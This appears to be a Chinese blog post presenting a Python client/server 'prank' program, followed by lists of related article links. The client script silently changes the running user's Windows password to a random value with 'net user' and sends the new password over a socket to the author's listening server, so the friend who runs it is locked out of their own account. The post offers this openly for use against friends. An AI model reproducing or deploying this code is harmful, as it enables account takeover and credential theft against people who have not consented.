一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python中使用dom模块生成XML文件示例
Apr 05 Python
使用Python解析JSON数据的基本方法
Oct 15 Python
Python标准库06之子进程 (subprocess包) 详解
Dec 07 Python
python3监控CentOS磁盘空间脚本
Jun 21 Python
Python实现数据可视化看如何监控你的爬虫状态【推荐】
Aug 10 Python
Python从list类型、range()序列简单认识类(class)【可迭代】
May 31 Python
Python控制Firefox方法总结
Jun 03 Python
Python pip替换为阿里源的方法步骤
Jul 02 Python
关于pytorch中网络loss传播和参数更新的理解
Aug 20 Python
原来我一直安装 Python 库的姿势都不对呀
Nov 11 Python
使用python修改文件并立即写回到原始位置操作(inplace读写)
Jun 28 Python
如何用python清洗文件中的数据
Jun 18 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
php错误、异常处理机制(补充)
2012/05/07 PHP
PhpDocumentor 2安装以及生成API文档的方法
2014/05/21 PHP
PHP Reflection API详解
2015/05/12 PHP
学习php设计模式 php实现抽象工厂模式
2015/12/07 PHP
Laravel中的Blade模板引擎示例详解
2017/10/10 PHP
Laravel 默认邮箱登录改成用户名登录的实现方法
2019/08/12 PHP
Gird事件机制初级读本
2007/03/10 Javascript
javascript延时加载之defer测试
2012/12/28 Javascript
jQuery实现拖拽效果插件的方法
2015/03/23 Javascript
JavaScript使用indexOf获得子字符串在字符串中位置的方法
2015/04/06 Javascript
jquery实现鼠标滑过显示二级下拉菜单效果
2015/08/24 Javascript
JS面向对象编程详解
2016/03/06 Javascript
快速移动鼠标触发问题及解决方法(ECharts外部调用保存为图片操作及工作流接线mouseenter和mouseleave)
2016/08/29 Javascript
jQuery实现底部浮动窗口效果
2016/09/07 Javascript
Javascript创建类和对象详解
2017/05/31 Javascript
Vue2.0 从零开始_环境搭建操作步骤
2017/06/14 Javascript
JS与jQuery判断文本框还剩多少字符可以输入的方法
2018/09/01 jQuery
基于vue框架手写一个notify插件实现通知功能的方法
2019/03/31 Javascript
layui递归实现动态左侧菜单
2019/07/26 Javascript
Vue——前端生成二维码的示例
2020/12/19 Vue.js
Python语言编写电脑时间自动同步小工具
2013/03/08 Python
Python实现文件按照日期命名的方法
2015/07/09 Python
1 行 Python 代码快速实现 FTP 服务器
2018/01/25 Python
Python爬取商家联系电话以及各种数据的方法
2018/11/10 Python
Python基于datetime或time模块分别获取当前时间戳的方法实例
2019/02/19 Python
python 有效的括号的实现代码示例
2019/11/11 Python
使用python 将图片复制到系统剪贴中
2019/12/13 Python
Python在终端通过pip安装好包以后在Pycharm中依然无法使用的问题(三种解决方案)
2020/03/10 Python
Django实现将views.py中的数据传递到前端html页面,并展示
2020/03/16 Python
Python sqlalchemy时间戳及密码管理实现代码详解
2020/08/01 Python
Ajax实现页面无刷新留言效果
2021/03/24 Javascript
自荐书模板
2013/12/19 职场文书
网络营销策划方案
2014/06/04 职场文书
离职证明标准格式
2014/09/15 职场文书
老乡会致辞
2015/07/28 职场文书
机关干部作风整顿心得体会
2016/01/22 职场文书